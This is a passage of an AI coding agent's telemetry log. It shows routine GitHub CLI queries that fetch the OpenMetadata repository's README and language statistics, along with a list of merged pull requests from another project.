{\"type\":\"item.started\",\"item\":{\"id\":\"item_23\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/open-metadata/OpenMetadata'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:59.257Z] [INFO] \n[2026-07-12T04:02:59.602Z] [INFO] 2026-07-12T04:02:59.601544Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-11e9a5f1-4a10-4ea3-820d-9e22465e454c arguments={\"cmd\":\"gh api repos/open-metadata/OpenMetadata/languages\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=635 success=true output=Chunk ID: b52406\n[2026-07-12T04:02:59.602Z] [INFO] Wall time: 0.4247 seconds\n[2026-07-12T04:02:59.602Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:59.602Z] [INFO] Original token count: 60\n[2026-07-12T04:02:59.602Z] [INFO] Output:\n[2026-07-12T04:02:59.602Z] [INFO] {\"TypeScript\":41102697,\"Java\":34595426,\"Python\":17784108,\"Less\":1046117,\"Shell\":327620,\"CSS\":197273,\"JavaScript\":165985,\"HTML\":34464,\"PLpgSQL\":26903,\"Dockerfile\":23766,\"Makefile\":22574,\"ANTLR\":4911,\"LookML\":1580,\"Mustache\":465,\"Jinja\":285} mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:59.601Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.602Z] [INFO] 2026-07-12T04:02:59.601603Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-11e9a5f1-4a10-4ea3-820d-9e22465e454c duration_ms=635 success=true arguments_length=154 output_length=342 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:59.601Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.602Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] 2026-07-12T04:02:59.639369Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-77255e9a-6256-49d8-bdfa-37d4540232bd arguments={\"cmd\":\"gh api repos/open-metadata/OpenMetadata/readme -H 'Accept: application/vnd.github.raw+json'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=673 success=true output=Chunk ID: 7e7749\n[2026-07-12T04:02:59.640Z] [INFO] Wall time: 0.4661 seconds\n[2026-07-12T04:02:59.640Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:59.640Z] [INFO] Original token count: 4969\n[2026-07-12T04:02:59.640Z] [INFO] Output:\n[2026-07-12T04:02:59.640Z] [INFO] # OpenMetadata\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] ![Commit Activity](https://img.shields.io/github/commit-activity/m/open-metadata/OpenMetadata?style=for-the-badge) [![Release](https://img.shields.io/github/release/open-metadata/OpenMetadata/all.svg?style=for-the-badge)](https://github.com/open-metadata/OpenMetadata/releases)\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] ## The Open Context Layer for AI\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] **The largest and fastest-growing open-source project for AI context, data cataloging, and metadata management.**\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] OpenMetadata is the open platform for trusted data context, organizational memory, and business semantics for every data user, AI assistant, and agent.\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] OpenMetadata connects technical metadata, data quality signals, lineage, column-level lineage, ownership, usage, policies, conversations, memories, glossaries, classifications, metrics, domains, data contracts, and data products into a unified metadata knowledge graph. With **130+ connectors**, open metadata standards, semantic search, APIs, SDKs, and an MCP server, OpenMetadata gives every user and AI system the governed context it needs to discover, understand, trust, remember, and use data.\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] **AI does not need another raw database connector. AI needs context + memory.**\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] ![OpenMetadata: The Open Context Layer for AI](docs/assets/open-context-layer-hero.png)\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] OpenMetadata provides the context AI needs to know:\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] - what data exists\n[2026-07-12T04:02:59.640Z] [INFO] - what it means\n[2026-07-12T04:02:59.640Z] [INFO] - who owns it\n[2026-07-12T04:02:59.640Z] [INFO] - how it is used\n[2026-07-12T04:02:59.640Z] [INFO] - where it came from\n[2026-07-12T04:02:59.640Z] [INFO] - where it flows\n[2026-07-12T04:02:59.640Z] [INFO] - whether it is fresh, tested, certified, and trusted\n[2026-07-12T04:02:59.640Z] [INFO] - which business concepts, classifications, glossary terms, policies, contracts, and data products apply\n[2026-07-12T04:02:59.640Z] [INFO] - what downstream dashboards, pipelines, metrics, ML models, and applications depend on it\n[2026-07-12T04:02:59.640Z] [INFO] - what conversations, decisions, assumptions, and memory nuggets have already been captured about it\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] ---\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] ## Why OpenMetadata for AI?\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] AI systems need more than data access. They need governed context, business meaning, trust signals, lineage, usage, ownership, standa\n[2026-07-12T04:02:59.640Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:59.639Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.640Z] [INFO] 2026-07-12T04:02:59.639490Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-77255e9a-6256-49d8-bdfa-37d4540232bd duration_ms=673 success=true arguments_length=196 output_length=2086 output_line_count=40 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:59.639Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.657Z] [INFO] 2026-07-12T04:02:59.657094Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-d8eb3709-b482-48a6-8657-378b5d20a942 arguments={\"cmd\":\"gh pr list --repo link-foundation/meta-ontology --state merged --limit 30 --json number,title,mergedAt,url,body\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=722 success=true output=Chunk ID: a7443a\n[2026-07-12T04:02:59.657Z] [INFO] Wall time: 0.5423 seconds\n[2026-07-12T04:02:59.657Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:59.657Z] [INFO] Original token count: 1391\n[2026-07-12T04:02:59.657Z] [INFO] Output:\n[2026-07-12T04:02:59.657Z] [INFO] [{\"body\":\"## Summary\\n\\n- Decouple GitHub Pages documentation deployment from package/GitHub release publication.\\n- Gate `deploy-docs` on successful `build` for main pushes and manual instant releases, so docs can still publish when package release fails later.\\n- Fix the observed `rust-script` release failure under `RUSTFLAGS=-Dwarnings`.\\n- Add an issue-3 case study with preserved CI run metadata, compressed failed-run logs, template workflow snapshots, and upstream-template follow-up.\\n\\nFixes #3\\n\\n## Reproduction\\n\\nThe preserved main-branch runs `24979900862` and `24983875003` both showed this sequence:\\n\\n1. `Build Package` succeeded.\\n2. `Auto Release` failed in `Check if version already released or no fragments`.\\n3. `Deploy Rust Documentation` was skipped because it depended on release jobs.\\n\\nThe detailed case study and raw data are in `docs/case-studies/issue-3/`.\\n\\n## Verification\\n\\n- `cargo fmt --check`\\n- `cargo test --all-features --verbose`\\n- `cargo test --doc --verbose`\\n- `cargo test --test unit ci_cd::workflow_release::documentation_deploy_is_independent_from_release_publication`\\n- `cargo clippy --all-targets --all-features`\\n- `rust-script scripts/check-file-size.rs`\\n- `RUSTFLAGS=-Dwarnings HAS_FRAGMENTS=true rust-script scripts/check-release-needed.rs`\\n- `cargo build --release --verbose`\\n- `cargo package --list --allow-dirty`\\n\\n## Template Follow-Up\\n\\nThe Rust CI/CD template has the same `deploy-docs` dependency issue. I filed:\\n\\nhttps://github.com/link-foundation/rust-ai-driven-development-pipeline-template/issues/38\\n\",\"mergedAt\":\"2026-04-27T08:59:27Z\",\"number\":4,\"title\":\"Fix GitHub Pages docs deployment independence\",\"url\":\"https://github.com/link-foundation/meta-ontology/pull/4\"},{\"body\":\"## Summary\\n\\nFirst prototype (MVP) of the meta-ontology project, addressing\\n[issue #1](https://github.com/link-foundation/meta-ontology/issues/1).\\nThe repository graduates from the Rus\n[2026-07-12T04:02:59.657Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:59.657Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.657Z] [INFO] 2026-07-12T04:02:59.657156Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-d8eb3709-b482-48a6-8657-378b5d20a942 duration_ms=722 success=true arguments_length=216 output_length=2086 output_line_count=7 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:59.657Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.657Z] [INFO] \n[2026-07-12T04:02:59.706Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_19\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/open-metadata/OpenMetadata/languages'\",\"aggregated_output\":\"{\\\"TypeScript\\\":41102697,\\\"Java\\\":34595426,\\\"Python\\\":17784108,\\\"Less\\\":1046117,\\\"Shell\\\":327620,\\\"CSS\\\":197273,\\\"JavaScript\\\":165985,\\\"HTML\\\":34464,\\\"PLpgSQL\\\":26903,\\\"Dockerfile\\\":23766,\\\"Makefile\\\":22574,\\\"ANTLR\\\":4911,\\\"LookML\\\":1580,\\\"Mustache\\\":465,\\\"Jinja\\\":285}\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:59.706Z] [INFO] \n[2026-07-12T04:02:59.751Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_18\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"gh api repos/open-metadata/OpenMetadata/readme -H 'Accept: application/vnd.github.raw+json'\\\"\",\"aggregated_output\":\"# OpenMetadata\\n\\n![Commit Activity](https://img.shields.io/github/commit-activity/m/open-metadata/OpenMetadata?style=for-the-badge) [![Release](https://img.shields.io/github/release/open-metadata/OpenMetadata/all.svg?style=for-the-badge)](https://github.com/open-metadata/OpenMetadata/releases)\\n\\n## The Open Context Layer for AI\\n\\n**The largest and fastest-growing open-source project for AI context, data cataloging, and metadata management.**\\n\\nOpenMetadata is the open platform for trusted data context, organizational memory, and business semantics for every data user, AI assistant, and agent.\\n\\nOpenMetadata connects technical metadata, data quality signals, lineage, column-level lineage, ownership, usage, policies, conversations, memories, glossaries, classifications, metrics, domains, data contracts, and data products into a unified metadata knowledge graph. With **130+ connectors**, open metadata standards, semantic search, APIs, SDKs, and an MCP server, OpenMetadata gives every user and AI system the governed context it needs to discover, understand, trust, remember, and use data.\\n\\n**AI does not need another raw database connector. AI needs context + memory.**\\n\\n![OpenMetadata: The Open Context Layer for AI](docs/assets/open-context-layer-hero.png)\\n\\nOpenMetadata provides the context AI needs to know:\\n\\n- what data exists\\n- what it means\\n- who owns it\\n- how it is used\\n- where it came from\\n- where it flows\\n- whether it is fresh, tested, certified, and trusted\\n- which business concepts, classifications, glossary terms, policies, contracts, and data products apply\\n- what downstream dashboards, pipelines, metrics, ML models, and applications depend on it\\n- what conversations, decisions, assumptions, and memory nuggets have already been captured about it\\n\\n---\\n\\n## Why OpenMetadata for AI?\\n\\nAI systems need more than data access. They need governed context, business meaning, trust signals, lineage, usage, ownership, standards, and organizational memory.\\n\\nA direct connection to a warehouse, lake, dashboard, or pipeline exposes raw structures. It does not tell an AI assistant what the data means, whether it is certified, who owns it, which policies apply, what contract governs it, what breaks if it changes, or what the organization has already learned about it.\\n\\nOpenMetadata is the open context layer that gives every data user and AI agent the full picture of enterprise data.\\n\\nOpenMetadata brings together five capabilities:\\n\\n1. **Context** \u2014 technical, operational, trust, usage, and lineage metadata from across the data ecosystem.\\n2. **Semantics** \u2014 business meaning through glossaries, metrics, classifications, domains, policies, ontologies, and data products.\\n3. **Knowledge Graph** \u2014 relationships connecting assets, columns, people, teams, quality, lineage, policies, memories, contracts, and business concepts.\\n4. **Memory** \u2014 conversations, AI threads, decisions, assumptions, runbooks, remediation notes, and reusable memory nuggets that preserve tribal knowledge.\\n5. **Activation** \u2014 MCP, Semantic Search, APIs, SDKs, events, and workflows that make context usable by AI assistants, agents, applications, and humans.\\n\\nWith OpenMetadata, users and AI agents can answer:\\n\\n- What does this metric mean and how is it calculated?\\n- Which datasets power this dashboard?\\n- Who owns this data product?\\n- Which data contract applies?\\n- Is this dataset fresh, tested, certified, and trusted?\\n- Which downstream dashboards, pipelines, or ML models are affected by this column change?\\n- Which columns contain sensitive customer information?\\n- Which glossary terms, policies, standards, and business concepts apply?\\n- What decisions, assumptions, incidents, or conversations have already been captured about this asset?\\n\\n---\\n\\n## The Context OpenMetadata Connects\\n\\nOpenMetadata collects and connects the context AI needs to reason safely over enterprise data.\\n\\n| Context type | What OpenMetadata captures | Why it matters for AI |\\n| --- | --- | --- |\\n| **Technical metadata** | Databases, schemas, tables, columns, topics, dashboards, charts, pipelines, APIs, search indexes, ML models, storage assets, data types, constraints, descriptions, joins, sample queries, service metadata, owners, teams, usage, domains, and data products | Helps AI discover what exists and understand how assets are structured |\\n| **Quality and trust** | Test cases, test suites, freshness checks, volume checks, null, uniqueness, distribution, custom tests, profiling results, observability signals, incidents, alerts, and quality history | Helps AI avoid treating every dataset as equally trustworthy |\\n| **Lineage and impact** | Upstream and downstream lineage, table lineage, column-level lineage, dashboard lineage, pipeline lineage, metric lineage, ML model lineage, API and topic dependencies, and OpenLineage events | Helps AI explain where data came from, where it flows, and what changes may break |\\n| **Semantics** | Glossaries, business terms, synonyms, related terms, metrics, KPIs, classifications, tags, domains, data products, policies, personas, lifecycle states, and ontologies | Helps AI map technical names to business meaning |\\n| **Governance** | Owners, stewards, teams, policies, roles, classifications, access context, certification, review workflows, lifecycle states, and data contracts | Helps AI act with policy-aware context |\\n| **Memory and tribal knowledge** | Conversations, AI threads, decisions, assumptions, runbooks, remediation notes, incident learnings, and reusable memory nuggets attached to assets, users, teams, data products, and agent workflows | Helps humans and agents inherit what the organization already learned instead of rediscovering it in every conversation |\\n| **Standards and interoperability** | DCAT, DPROD, PROV-O, OpenLineage, ODCS, RDF/OWL, JSON-LD, SHACL, JSON Schema, APIs, events, and metadata schemas | Helps context move across tools, agents, catalogs, contracts, and knowledge graphs |\\n\\n---\\n\\n## Architecture: Context + Memory Graph\\n\\n![How OpenMetadata Works](docs/assets/open-context-layer-architecture.png)\\n\\nOpenMetadata is built around an open, schema-first metadata graph.\\n\\n1. **Collect** metadata from warehouses, lakes, BI tools, pipelines, ML platforms, messaging systems, storage systems, APIs, search systems, SaaS applications, metadata systems, documents, conversations, and agent workflows through **130+ connectors**, ingestion APIs, events, and SDKs.\\n2. **Normalize** metadata with open schemas and standards so every asset, relationship, policy, contract, lineage event, and memory can be represented consistently.\\n3. **Connect** technical metadata, quality signals, lineage, ownership, usage, policies, conversations, memories, semantics, domains, contracts, and data products into one graph.\\n4. **Preserve Memory** by turning conversations, AI threads, decisions, assumptions, runbooks, and remediation notes into reusable governed memory nuggets tied to data assets and business context.\\n5. **Govern** context with open standards, classifications, policies, roles, data quality, review workflows, data contracts, and stewardship.\\n6. **Activate** that context through Semantic Search, MCP, APIs, SDKs, events, webhooks, metadata applications, and AI workflows.\\n\\nMemory is part of the architecture, not a side channel. It lets engineers use APIs, SDKs, MCP, or AI workflows to preserve conversational context and convert tribal knowledge into reusable organizational knowledge.\\n\\n---\\n\\n## Context Graph, Semantics, and Memory\\n\\n![OpenMetadata Context Graph](docs/assets/open-context-layer-graph.png)\\n\\nThe OpenMetadata graph does not only store data assets. It stores the relationships between assets, columns, owners, teams, policies, quality tests, lineage, classifications, glossary terms, metrics, domains, data contracts, data products, conversations, and memory nuggets.\\n\\nExample relationships:\\n\\n```text\\nTable               \u2500\u2500hasColumn\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Column\\nColumn              \u2500\u2500classifiedAs\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> PII\\nColumn              \u2500\u2500represents\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Customer Identifier\\nTable               \u2500\u2500ownedBy\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Data Engineering Team\\nTable               \u2500\u2500partOf\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Customer 360 Data Product\\nDashboard           \u2500\u2500dependsOn\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Table\\nMetric              \u2500\u2500definedBy\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Glossary Term\\nPipeline            \u2500\u2500produces\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Table\\nColumn              \u2500\u2500flowsTo\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Column\\nTest Case           \u2500\u2500validates\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Table\\nPolicy              \u2500\u2500governs\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Classification\\nData Contract       \u2500\u2500appliesTo\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Table\\nOpenLineage Event   \u2500\u2500updatesLineageFor\u2500\u2500\u2500> Pipeline\\nAgent Conversation  \u2500\u2500capturedAs\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Memory \\nMemory              \u2500\u2500informs\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Data Product\\nMemory              \u2500\u2500documentsDecisionFor> Metric\\nMemory              \u2500\u2500attachedTo\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Table / Column / Topic / Dashboard / Pipeline / API\\n```\\n\\nThis graph gives AI systems the relationships, meaning, memory, and governance they need to reason across the data estate.\\n\\n---\\n\\n## Memories: Organizational Context for Humans and Agents\\n\\n![Memory Primitives](docs/assets/memory-primitives.png)\\n\\nMemories preserve the important context that usually disappears inside chats, tickets, meetings, notebooks, and AI agent threads.\\n\\nA memory is an open, governed OpenMetadata entity that can be tied to data assets, users, teams, threads, domains, data products, metrics, policies, incidents, and workflows. Engineers can capture and retrieve memories through APIs, SDKs, MCP, chat, or AI applications.\\n\\nUse memories to preserve:\\n\\n- why a metric changed\\n- why a column was renamed\\n- what assumption was used in an analysis\\n- which remediation fixed a data quality issue\\n- which dashboard or data product a decision applies to\\n- what an AI agent learned while investigating an incident\\n- what a domain expert explained in a conversation\\n\\nMemories unlock tribal knowledge by making it reusable, governed, searchable, and available to every human, assistant, and agent that touches your data.\\n\\n---\\n\\n## MCP, Semantic Search, APIs, AI SDK, and Memory\\n\\nOpenMetadata makes context actionable through AI- and developer-friendly interfaces.\\n\\n### MCP Server\\n\\nOpenMetadata includes an MCP server that lets MCP-compatible assistants and agents interact with the metadata graph through natural language.\\n\\nAI assistants can use OpenMetadata MCP to:\\n\\n- search metadata\\n- run semantic search\\n- retrieve entity details\\n- inspect lineage\\n- understand data contracts and policy context\\n- retrieve or preserve memory nuggets\\n- update descriptions, tags, owners, and other metadata\\n- create glossary terms and lineage\\n- list and create data quality tests\\n- analyze root causes of data quality failures\\n\\nGet started: [OpenMetadata MCP Server Documentation](https://docs.open-metadata.org/latest/how-to-guides/mcp)\\n\\n### Semantic Search\\n\\nSemantic Search lets users and AI assistants find data assets by meaning, not only exact keywords.\\n\\n```text\\nFind trusted customer purchase datasets with known data quality issues and recent remediation notes.\\n```\\n\\nOpenMetadata can surface conceptually related assets, metrics, glossary terms, data products, memory nuggets, and governance context even when names differ across domains, tools, and teams.\\n\\n### APIs, SDKs, Events, and Webhooks\\n\\nOpenMetadata exposes APIs, SDKs, events, and webhooks so teams can ingest, update, search, subscribe to, and automate metadata across their ecosystem.\\n\\nDevelopers can use the AI SDK to build custom AI applications that use OpenMetadata context and memory programmatically.\\n\\n---\\n\\n## What You Can Build\\n\\n### AI Data Discovery\\nAsk natural-language questions over the metadata graph and find relevant assets even when names and keywords do not match exactly.\\n\\n### Trusted AI Assistants\\nGround AI responses in governed metadata: owners, descriptions, glossary terms, classifications, quality, freshness, usage, lineage, policies, contracts, and memory.\\n\\n### Agent Memory and Tribal Knowledge\\nCapture conversations, decisions, assumptions, runbooks, and agent learnings as governed memory nuggets that can be reused by every data user and AI agent.\\n\\n### Impact Analysis Agents\\nAsk what will break if a table, column, pipeline, dashboard, metric, ML feature, contract, or data product changes.\\n\\n### Governance Automation\\nUse agents to suggest descriptions, assign glossary terms, identify sensitive data, propose ownership, enforce contract context, and manage stewardship workflows.\\n\\n### Data Quality Automation\\nUse AI workflows to create tests, summarize failures, identify root causes, preserve remediation memory, and recommend next actions.\\n\\n### Developer and Coding Agent Workflows\\nConnect coding agents to OpenMetadata so they understand schemas, owners, lineage, business definitions, quality expectations, contracts, and memory before generating SQL, dbt models, documentation, tests, migration plans, or impact analysis.\\n\\n---\\n\\n## Open Standards and Interoperability\\n\\nOpenMetadata is built on open metadata standards.\\n\\n[OpenMetadata Standards](https://openmetadatastandards.org/) is the open-source home for schemas, APIs, ontologies, event models, and semantic specifications behind OpenMetadata.\\n\\nIt provides:\\n\\n- 700+ JSON Schemas for metadata entities, APIs, configurations, events, and relationships\\n- RDF/OWL ontologies for semantic web, linked data, and knowledge graph use cases\\n- SHACL shapes for validation\\n- JSON-LD contexts for semantic interoperability\\n- standards for governance, lineage, quality, observability, teams, users, roles, policies, events, contracts, and data products\\n\\nOpenMetadata supports and aligns with the standards that matter for AI context and data ecosystems:\\n\\n| Standard | How OpenMetadata uses it |\\n| --- | --- |\\n| **DCAT / DPROD** | Represents catalog and data-product context in interoperable semantic models, including datasets, data services, distributions, domains, owners, input and output datasets, lifecycle state, purpose, and policies. |\\n| **PROV-O** | Uses W3C provenance semantics for lineage, generated/derived data, agents, activities, ownership, and explainable context. |\\n| **OpenLineage Support** | Accepts and connects OpenLineage-compatible lineage events so pipeline execution metadata can enrich the broader OpenMetadata graph. |\\n| **ODCS Support** | Supports Open Data Contract Standard 3.1 for interoperable data contracts, contract import/export, schema expectations, quality rules, SLAs, support channels, roles, and producer-consumer agreements. |\\n| **RDF/OWL, JSON-LD, SHACL** | Makes metadata graph-friendly, semantically interoperable, and validatable for linked data, knowledge graph, and AI use cases. |\\n| **JSON Schema, APIs, Events** | Keeps metadata portable, automation-friendly, and extensible across tools, agents, and custom applications. |\\n\\nThese standards make OpenMetadata a foundation for interoperable semantic metadata, linked data, data products, data contracts, lineage, provenance, and enterprise knowledge graphs.\\n\\n---\\n\\n## Core Platform Capabilities\\n\\n| Capability | Includes |\\n| --- | --- |\\n| **AI Context and Memory** | memory nuggets, conversations, agent threads, decisions, assumptions, remediation notes, runbooks, context retrieval, and governed agent memory |\\n| **Discovery and Understanding** | asset search, semantic search, descriptions, sample data, usage, ownership, conversations, tasks, announcements |\\n| **Governance and Semantics** | glossaries, classifications, tags, metrics, KPIs, domains, data products, policies, roles, certification, lifecycle states |\\n| **Data Contracts and Standards** | ODCS 3.1 support, contract import/export, schema expectations, SLAs, terms of service, semantic relationships, data product context, DCAT/DPROD, PROV-O, RDF/OWL, JSON-LD, SHACL |\\n| **Data Quality and Observability** | tests, profiling, freshness, volume, null, uniqueness, distribution checks, alerts, incidents, root-cause workflows |\\n| **Lineage and Impact Analysis** | table lineage, column-level lineage, dashboard lineage, pipeline lineage, metric lineage, ML model lineage, OpenLineage support, impact analysis |\\n| **Security and Access Control** | authentication, authorization, roles, policies, SSO, bot tokens, user tokens, MCP authentication, governed metadata actions |\\n| **Extensibility and Automation** | 130+ connectors, APIs, SDKs, webhooks, events, applications, ingestion framework, custom connectors, custom properties, MCP tools, AI SDK workflows |\\n\\n---\\n\\n## Quickstart\\n\\n1. **Try OpenMetadata**: [OpenMetadata Sandbox](https://sandbox.open-metadata.org)\\n2. **Install OpenMetadata**: [Quickstart Guide](https://docs.open-metadata.org/latest/quick-start)\\n3. **Ingest Metadata** from a warehouse, BI tool, pipeline system, data quality tool, lineage source, contract source, or memory-producing workflow.\\n4. **Build Context** with descriptions, owners, teams, domains, data products, quality tests, freshness, usage, lineage, and data contracts.\\n5. **Add Semantics** with glossaries, classifications, tags, metrics, KPIs, policies, domains, DCAT/DPROD-aligned data products, and PROV-O lineage context.\\n6. **Capture Memory** from conversations, AI threads, incidents, remediation notes, assumptions, and decisions.\\n7. **Enable Semantic Search** so users and AI assistants can search by meaning.\\n8. **Connect an MCP Client** to give AI assistants and agents governed access to OpenMetadata context and memory.\\n9. **Build AI Applications** using OpenMetadata APIs, SDKs, MCP tools, events, and AI SDK workflows.\\n\\n---\\n\\n## Documentation and Community\\n\\n- Documentation: [docs.open-metadata.org](https://docs.open-metadata.org/)\\n- MCP Server: [OpenMetadata MCP Documentation](https://docs.open-metadata.org/latest/how-to-guides/mcp)\\n- OpenLineage Connector: [OpenMetadata OpenLineage Documentation](https://docs.open-metadata.org/latest/connectors/pipeline/openlineage)\\n- OpenMetadata Standards: [openmetadatastandards.org](https://openmetadatastandards.org/)\\n- Website: [open-metadata.org](https://open-metadata.org/)\\n- Slack Community: [slack.open-metadata.org](https://slack.open-metadata.org/)\\n- Blog: [blog.open-metadata.org](https://blog.open-metadata.org/)\\n\\n---\\n\\n## Open Source and Enterprise AI\\n\\nOpenMetadata is the open-source foundation for AI context, metadata, organizational memory, semantics, governance, quality, lineage, data contracts, open standards, APIs, MCP, and AI SDK workflows.\\n\\nFor managed enterprise capabilities, AI agents, automation, AI Studio, enterprise MCP workflows, commercial support, and managed operations, see Collate:\\n\\n- [Collate](https://www.getcollate.io/)\\n- [Collate AI](https://www.getcollate.io/collate-ai)\\n\\n---\\n\\n## Contributing\\n\\nWe welcome contributions from the community. You can help improve metadata schemas and standards, add connectors, improve ingestion workflows, enhance MCP tools, improve semantic search, add memory workflows, add documentation, fix bugs, and improve the user experience.\\n\\nSee the contribution guide in this repository to get started.\\n\\n- [How To Contribute](https://docs.open-metadata.org/v1.12.x/developers/contribute)\\n- [Development Environment Setup](https://docs.open-metadata.org/v1.12.x/developers/contribute/development-environment-setup)\\n- [Build Code & Run Tests](https://docs.open-metadata.org/v1.12.x/developers/contribute/build-code-and-run-tests)\\n\\n---\\n\\n## License\\n\\nOpenMetadata is released under the [Apache License, Version 2.0](http://www.apache.org/licenses/LICENSE-2.0).\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:59.751Z] [INFO] \n[2026-07-12T04:02:59.764Z] [INFO] 2026-07-12T04:02:59.762369Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-f948e03b-3e2d-4bb1-af52-f13ba112e15e arguments={\"cmd\":\"gh api repos/open-metadata/OpenMetadata\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=740 success=true output=Chunk ID: 335012\n[2026-07-12T04:02:59.764Z] [INFO] Wall time: 0.5229 seconds\n[2026-07-12T04:02:59.764Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:59.764Z] [INFO] Original token count: 1822\n[2026-07-12T04:02:59.764Z] [INFO] Output:\n[2026-07-12T04:02:59.764Z] [INFO] 